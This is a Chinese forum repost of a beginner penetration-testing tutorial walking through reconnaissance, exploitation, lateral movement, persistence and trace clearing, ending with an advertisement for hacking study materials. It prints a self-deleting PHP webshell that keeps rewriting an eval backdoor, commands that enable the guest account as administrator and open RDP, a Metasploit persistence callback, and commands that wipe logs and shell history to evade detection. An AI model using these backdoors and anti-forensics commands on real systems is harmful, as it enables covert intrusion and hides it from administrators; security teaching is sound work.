小白入门黑客之渗透测试(超详细)根本流程(内附工具) ...

打印 上一主题 下一主题

主题 1006|帖子 1006|积分 3018

经常会收到小同伴们如许的私信:
为什么我总是挖不到漏洞呢?
渗透到底是什么样的流程呢?
以是全网最详细的渗透测试流程来了!!!

渗透测试其实就是通过一些手段来找到网站,APP,网络服务,软件,服务器等网络设备和应用的漏洞,告诉管理员有哪些漏洞,怎么增补,从而防止黑客的入侵。
渗透测试分为 白盒测试黑盒测试


  • 白盒测试就是在知道目的网站源码和其他一些信息的情况下对其举行渗透,有点雷同于代码分析
  • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模仿黑客对网站的渗透
我们如今就模仿黑客对一个网站举行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。接下来,我就给大家分享下黑盒渗透测试的流程和思绪!
一般来说,渗透测试的根本流程如下:

  • 确定目的
  • 信息收集
  • 漏洞探测
  • 漏洞利用getshell
  • 内网转发
  • 内网渗透
  • 陈迹清除
  • 撰写渗透测试陈诉
一 确定目的

这个没什么好说的就是确定你的渗透目的是什么。
二 信息收集

信息收集是整个渗透测试中最重要的一步,你要把你要攻击的目的全部探测清晰,才能更好的攻击。信息收集的越丰富,内容或谍报收集的越多,攻击的乐成率就越高。
而信息收集到底要收集哪些信息呢?接下来,我就给大家整理了一下,渗透测试中常见的一些需要收集的信息。
1.主机扫描(Nessus)
对目的主机举行扫描,而不但仅是对网站举行扫描,扫描目的主机开放了哪些端口,扫描端口运行的服务,目的主机上有哪些漏洞。
主机扫描的工具也有很多,比如:Nessus
2.端口扫描(nmap)
需要知道目的服务器开放了哪些端口,常见的如 135 、137 、138 、139 、445,这几个端口经常爆发漏洞。以下是一些服务端口的漏洞:
22——>ssh弱口令
873——>rsync 未授权访问漏洞
3306——>mysql弱口令
6379——>redis未授权访问漏洞
端口扫描工具有nmap和masscan。nmap扫描的正确性较高,但是扫描的比较慢。masscan扫描的比较快,但是正确性较低。
3.网站敏感目录和文件
扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏


  • 后台目录:弱口令,万能密码,爆破
  • 安装包:获取数据库信息,乃至是网站源码
  • 上传目录:截断、上传图片马等
  • mysql管理接口:弱口令、爆破,万能密码,然后脱裤,乃至是拿到shell
  • 安装页面 :可以二次安装进而绕过
  • phpinfo:会把你设置的各种信息袒露出来
  • 编辑器:fck、ke、等
  • iis短文件利用:条件比较苛刻 windows、apache等
提到了网站敏感目录我们就不得不提 robots.txt 文件了
robots.txt 文件是专门针对搜索引擎机器人robot 编写的一个纯文本文件。我们可以在这个文件中指定网站中不想被robot访问的目录。如许,我们网站的部分或全部内容就可以不被搜索引擎收录了,或者让搜索引擎只收录指定的内容。因此我们可
以利用robots.txt让Google的机器人访问不了我们网站上的重要文件,GoogleHack的威胁也就不存在了。
假如编写的robots.txt文件内容如下:
  1. User-agent: *
  2. Disallow: /data/
  3. Disallow: /db/
  4. Disallow: /admin/
  5. Disallow: /manager/
  6. Allow:/images/
复制代码
此中“Disallow”参数后面的是克制robot收录部分的路径,例如我们要让robot克制收录网站目录下的“data”文件夹,只需要在Disallow参数后面加上 /data/ 即可。假如想增长其他目录,只需按此格式继续添加。文件编写完成后将其上传到网站的根目录,就可以让网站远离Google Hack了。
虽然robots文件目的是让搜索蜘蛛不爬取想要保护的页面,但是假如我们知道了robots文件的内容的话,我们就可以知道目的网站哪些文件夹不让访问,从侧面说明这些文件夹是很重要的了。
探测目的网站后台目录的工具有: wwwscan 、御剑 、 dirbuster、cansina 等
4.旁站和C段扫描
旁站指的是同一服务器上的其他网站,很多时间,有些网站可能不是那么容易入侵。那么,可以查看该网站地点的服务器上是否另有其他网站。假如有其他网站的话,可以先拿下其他网站的webshell,然后再提权拿到服务器的权限,最后就自然可以拿下该网站了!
对于红蓝对抗和护网,C段扫描比较故意义。对于单独网站的渗透测试,C段扫描意义不大。C段指的是同一内网段内的其他服务器,每个IP有ABCD四个段,举个例子,192.168.0.1,A段就是192,B段是168,C段是0,D段是1,而C段嗅探的意思就是拿下它同一C段中的此中一台服务器,也就是说是D段1-255中的一台服务器,然后利用工具嗅探拿下该服务器。
5.网站漏洞扫描
网站漏洞扫描就是直接对网站举行漏洞探测了。网站漏洞扫描也有很多工具。比如 AWVS、AppScan、OWASP-ZAP、nessuss等等。但是需要注意的是,使用漏扫工具直接对网站举行扫描,因为一下子流量过大,有些网站可能会崩溃。以是一般最好不要使用漏洞扫描工具对网站举行扫描。而且假如未经授权就用漏扫对网站举行扫描还是违法的!
6.网站指纹识别
在渗透测试中,对目的服务器举行指纹识别是相称有须要的,因为只有识别出相应的Web容器或者CMS,才能查找与其相关的漏洞,然后才能举行相应的渗透操纵。CMS又称整站体系。常见的CMS有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。
常见的网站指纹识别工具有:whatweb等。
7.公司敏感信息网上搜集
当确定了公司后,我们可以去互联网上查询与该公司有关的任何信息。比如,公司的邮箱格式,公司的员工姓名,以及与该公司有关的任何信息。而且,我们还可以去Github、码云等代码托管平台上查找与此有关的敏感信息,有些粗心的程序员在将代码上传至代码托管平台后,并没有对代码举行脱敏处置惩罚。导致上传的代码中有包含如数据库毗连信息、邮箱密码、另有可能有泄露的源代码等。
8.域名信息的收集
当我们确定了要渗透的目的,也就是知道了其域名,接下来我们需要收集域名对应的 ip,域名的whois信息、子域名等等一系列与域名相关的信息。
判定域名对应的IP:起首,我们要判定该域名是否存在CDN的情况,我们可以去在线CDN查询网站:多个地点Ping服务器,网站测速 - 站长工具 。假如查询出的ip数量大于一个的话,则说明该ip地点不是真实的服务器地点。以我的经验来看,假如是2个或者3个,而且这几个地点是同一地域的差别运营商的话,则很有可能这几个地点是服务器的出口地点,该服务器在内网中,通过差别运营商NAT映射供互联网访问,同时采用几个差别的运营商可以负载平衡和热备份。假如是多个ip地点,而且这些ip地点分布在差别地域的话,则根本上可以断定就是采用了CDN了。
域名的whois信息:whois是用来查询域名注册所有者等信息的传输协议。简单说,whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。通过whois来实现对域名信息的查询。早期的whois查询多以命令行接口存在,但是如今出现了一些网页接口简化的线上查询工具,可以一次向差别的数据库查询。网页接口的查询工具仍然依靠whois协议向服务器发送查询请求,命令行接口的工具仍然被体系管理员广泛使用。whois通常使用TCP协议43端口。每个域名/IP的whois信息由对应的管理机构保存。
三 漏洞探测

当我们收集到了充足多的信息之后,我们就要开始对网站举行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:


  • SQL注入
  • XSS跨站脚本
  • CSRF跨站请求伪造
  • XXE漏洞
  • SSRF服务端请求伪造漏洞
  • 文件包含漏洞
  • 文件上传漏洞
  • 文件剖析漏洞
  • 远程代码执行漏洞
  • CORS跨域资源共享漏洞
  • 越权访问漏洞
  • 目录浏览漏洞和恣意文件读取/下载漏洞
  • struts2漏洞
  • JAVA反序列化漏洞
这些是网站经常发现的一些漏洞,另有一些网站漏洞,这里我就不一一枚举出来了。
网站漏洞扫描工具也有很多,比如:


  • AWVS
  • AppScan
  • Owasp-Zap
  • Nessus
网站漏洞扫描工具我就枚举这几种,另有很多,最常用的是这几个!
四 漏洞利用

当我们探测到了该网站存在漏洞之后,我们就要对该漏洞举行利用了。差别的漏洞有差别的利用工具,很多时间,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:
SQL注入 ——> Sqlmap
XSS跨站脚本——> Beef-XSS
抓包改包工具——> Burpsuite工具 、 Fidder抓包软件
文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马
但是,获得了webshell后,一般权限很低,以是我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用 、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权
五 内网转发

当我们获取到了网站的Webshell之后,假如我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。
假如我们还想进一步的探测内网主机的信息的话,我们就需要举行内网转发了。我们是不能直接和内网的主机通信的,以是我们就需要借助获取到的webshell网站的服务器和内网主机举行通信。
六 内网横向渗透

当我们在获取了外网服务器的权限,进入该体系后,我们要想尽办法从该服务器上查找到我们想要的信息。
对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的毗连文件,查看数据库的毗连账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,假云云时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于着实是要远程桌面登录的情况的话,我们尽量不要新建一个用户举行登录。我们可以激活 guest 用户,然后将其加入 administrators 组内里,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目的有以下。


  • FTP相关的软件
  • 数据库相关的软件
  • 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码
从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器举行爆破的时间,很有可能是同密码。
  1. net user  guest  /active:yes                      #激活guest用户
  2. net localgroup  administrators  guest  /add       #将guest用户添加到
  3. net user guest    密码                            #更改guest用户密码
  4. REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口
复制代码
对于Linux主机,我们可以查看开放的端标语,开放的服务,与其创建毗连的内网主机。查看目录,查找网站数据库毗连密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。
在搭建了隧道可以通内网后,我们起首就需要对内网举行资产发现了。但是对于内网存活网段的判定是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其举行探测了。通过代理举行内网扫描不建议使用nmap。假如是在当地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。假如使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码乐成率更高哦。
权限维持
在拿到目的主机的权限后,很有可能当时我们并不能获取到想要的东西,需要举行恒久的潜伏,特殊是在内网渗透中,需要举行恒久的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。
Web后门
1:隐藏后门文件(将文件设置为隐藏)
2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地创建后门。
  1. <?php
  2.     set_time_limit(0);//程序执行时间
  3.     ignore_user_abort(1);//关掉终端后脚本仍然运行
  4.     unlink(__FILE__);//文件完整名
  5.     while(1){
  6.         file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
  7.         $b=array_keys($a)[0];
  8.         eval($b);?>');
  9.         sleep(5);
  10.     }
  11. ?>
复制代码
3: 404页面隐藏后门,或者在其他自带文件中插入后门代码
注:以上几种后门方法均能被D盾等工具检测到
Windows体系
1:创建隐藏用户,在用户名后加 $
2:在开机启动目录下放置木马文件,只要目的机器重启,将回连我们的远控
3:MSF里的 persistence 模块,执行命令可以使目的机器每隔肯定时间自动回连远控。但是容易被发现
  1. #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
  2. run persistence -X -i 5 -p 8888 -r 192.168.10.27  
  3. #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
复制代码
4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以举行票据通报攻击。而且一般该用户的密码不经常改变。
5:shift后门
6:远程桌面会话挟制
Linux体系
1:SSH后门
2:crontab定时使命
3:SSH公钥
4:创建SUID=0的用户
七 陈迹清除

当我们达到了目的之后,偶尔候只是为了黑入网站挂黑页,夸耀一下;或者在网站留下一个后门,作为肉鸡,没事的时间上去溜达溜达;亦或者挂入挖矿木马;但是大家万万不要干这些事,这些都是违法的!
我这里只是教大家在渗透进去之后如何清除我们留下的一部分陈迹,并不能完全清除,完全清除入侵陈迹是不可能的!主要是增长管理员发现入侵者的时间本钱和人力本钱。只要管理员想查,无论你怎么清除,还是能查到的。
最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后陈迹清除。
Windows体系
1:假如是windows体系,可用MSF中的 clearev 命令清除陈迹
2:假如3389远程登录过,需要清除mstsc陈迹
3:执行命令清除日志:
  1. del %WINDR%\* .log /a/s/q/f
复制代码
4:假如是web应用,找到web日志文件,删除
Linux体系
1:假如是Linux体系,在获取权限后,执行以下命令,不会记录输入过的命令
  1. export HISTFILE=/dev/null export HISTSIZE=0
复制代码
2:删除 /var/log 目录下的日志文件
3:假如是web应用,找到web日志文件,删除
八 撰写渗透测试保告

在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试陈诉了。明确的写出那里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试陈诉修补这些漏洞和风险,防止被黑客攻击!
九 渗透测试&网络安全学习资料

对于不知道如何学系渗透&网络安全的朋侪,我们帮你准备了详细的学习成长门路图。可以说是最科学最体系的学习门路,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
黑客&网络安全如何学习?

今天只要你给我的文章点赞,我自己多年整理的282G 网安学习资料免费共享给你们,网络安全学习传送门,可点击直达获取哦!
1.成长门路图&学习规划


要学习一门新的技能,作为新手肯定要先学习成长门路图,方向不对,积极白费。
对于从来没有接触过网络安全的同砚,我们帮你准备了详细的学习成长门路图&学习规划。可以说是最科学最体系的学习门路,大家跟着这个大的方向学习准没问题。
2.视频教程

很多朋侪都不喜好艰涩的文字,我也为大家准备了282G视频教程,此中一共有21个章节,每个章节都是当前板块的精华浓缩。

(都打包成一块的了,不能一一展开,统共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
3.技能文档和电子书

技能文档也是我自己整理的,包罗我参加大型网安行动、CTF和挖SRC漏洞的经验和技能要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络垂纶等,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方卡片即可前往获取
最后就是我这几年整理的网安方面的面试题,假如你是要找网安方面的工作,它们绝对能帮你大忙。

当你自学到这里,你就要开始思考找工作的变乱了,而工作绕不开的就是真题和面试题。
这些标题都是大家在面试笃信服、奇安信、腾讯或者别的大厂面试时经常遇到的,假如大家有好的标题或者好的看法欢迎分享。
参考剖析:笃信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。

更多内容为防止和谐,可以扫描获取哦~

好了就写到这了,大家有任何关于渗透方面的问题也可以随时私信问我,后续也会给大家分享更多渗透方面的知识!渴望大家不要忘记点赞收藏哦!
本文转自 https://blog.csdn.net/kalilinuxsafe/article/details/141067758?spm=1001.2014.3001.5502,如有侵权,请联系删除。
本文转自 https://blog.csdn.net/weixin_57514792/article/details/141090035?spm=1001.2014.3001.5501,如有侵权,请联系删除。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

去皮卡多

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表